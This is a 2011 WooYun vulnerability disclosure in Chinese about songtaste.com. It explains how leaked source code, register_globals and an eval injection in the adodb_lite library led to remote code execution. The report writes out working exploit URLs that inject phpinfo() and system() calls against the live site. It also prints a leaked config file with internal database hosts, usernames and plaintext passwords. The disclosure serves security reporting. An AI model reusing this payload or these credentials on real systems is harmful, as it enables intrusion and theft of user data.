当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2011-01455

漏洞标题:songtaste.com主站任意代码执行漏洞可能导致所有用户数据泄漏

相关厂商:songtaste

漏洞作者: xsser

提交时间:2011-02-28 19:51

修复时间:2011-03-05 21:00

公开时间:2011-03-05 21:00

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2011-02-28: 细节已通知厂商并且等待厂商处理中
2011-03-05: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

Songtaste.com是一个纯粹的web2.0的音乐分享网站,具有数量众多的用户,但是其中的一些不恰当的配置和代码可能导致任意代码执行漏洞可能导致所有用户数据泄漏(已经验证)

详细说明:

首先,我发现在搜索引擎里搜索songtaste.com的话(个人习惯,由于上次报告问题给songtaste.com的时候他们没有重视,我想找到当时的注射放到新开的认领里,这样可能以更好的渠道让他们重视)

inurl:php?id= site:songtaste.com


会发现image.songtaste.com会直接泄漏源码,访问时依然可以直接下载,这就是SongTaste.com遇到的第一个问题,我猜测这是www.songtaste.com的一台备份服务器,并且由于一些原因去掉了php的解析,而操作者很明显没有注意到该台服务器其中包含的php文件的泄漏问题。通过该问题和www上的一些应用逻辑,我可以下载到了任意的代码。
本来是想通过php代码来寻找漏洞以尝试获得应用的访问权限,但是在读了一些代码之后,我发现服务器的php的设置为

Register Globals on
Magic Quote on


这样的配置,因为他程序里的变量都是系统自动生成的,逻辑里没有特别注册为全局变量的代码。这里特别是Register Globals为on的设置将导致更多的安全问题,所以我就继续寻找问题。前台没有太多特殊的东西,于是我尝试寻找后台那些不对外开放的逻辑里可能存在更多的安全问题。
后台很容易寻找,事实上也是上次一位白帽子反馈给我的一个问题

http://www.songtaste.com/administrator/


在后台里的代码里的这么一行引起了我的注意

include(S_CFG_PATH.'global.cfg.php');
include(S_LIB_PATH.'adodb_lite' . DS . 'adodb.inc.php');
include(S_LIB_PATH.'global.fn.php');


其中adodb_lite是一个第三方的库,大家知道,对于第三方的库,其实安全性是最无法得到保障的,因为一些原因,很多的安全研究者乐于寻找其中的安全问题并且披露出来,我早期在blog里(大概是07年),曾经披露过该库的一个远程代码执行漏洞,具体原因是由于变量未初始化导致的,利用环境是需要可以自动注册全局变量。

eval('class perfmon_parent_EXTENDER extends ' . $last_module . '_ADOConnection { }');
测试方式为:
adodb-perf-module.inc.php?last_module=Exception{};phpinfo();/*


但是因为是个人Blog性质,估计注意的人不多,所以这个问题在很多的企业程序里依然存在,因为他们的代码不开源,所以一段时间风险还不会暴露,但是一旦发生今天这种由于配置将程序目录结构和逻辑及组件对外公开的情况就会导致严重的问题了。由于服务器的配置满足我们的利用(Register Globals on)
根据目录结构,我们反推实际的线上URL为

http://www.songtaste.com/administrator/lib/adodb_lite/adodb-perf-module.inc.php?last_module=Exception{};phpinfo();/*
很幸运,一击即中,站点沦陷,数据全部可以控制了。
<code>
http://www.songtaste.com/administrator/lib/adodb_lite/adodb-perf-module.inc.php?d=w&last_module=Exception{};system(stripslashes($_GET[d]));die();/*

漏洞证明:



<?
//if( substr($REMOTE_ADDR,0,9) =="61.156.40" || $REMOTE_ADDR == "120.193.10.226" || $REMOTE_ADDR=="112.91.130.194")
// die("");
//dies("十分抱歉,数据库维护,请5分钟后访问");
class MySqlDB extends DB_Sql
{

var $Host = "192.168.50.245";
var $Database = "ST";
var $User = "stweb_write";
var $Password = "stweb_12Hjkdff";
var $Host_read = "192.168.50.242";
var $Database_read = "ST";
var $User_read = "read_web";
var $Password_read = "read_web!@#";

function MySqlDB($index=0) {
if($index==1) {
$this->Host = "192.168.50.242";
$this->Database = "ST";
$this->User = "stweb_write";
$this->Password = "stweb_12Hjkdff";
}
}

}
$DB= new MySqlDB;
?>


修复方案:

你觉得呢?

版权声明:转载请注明来源 xsser@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2011-03-05 21:00

厂商回复:

漏洞Rank:20 (WooYun评价)

最新状态:

暂无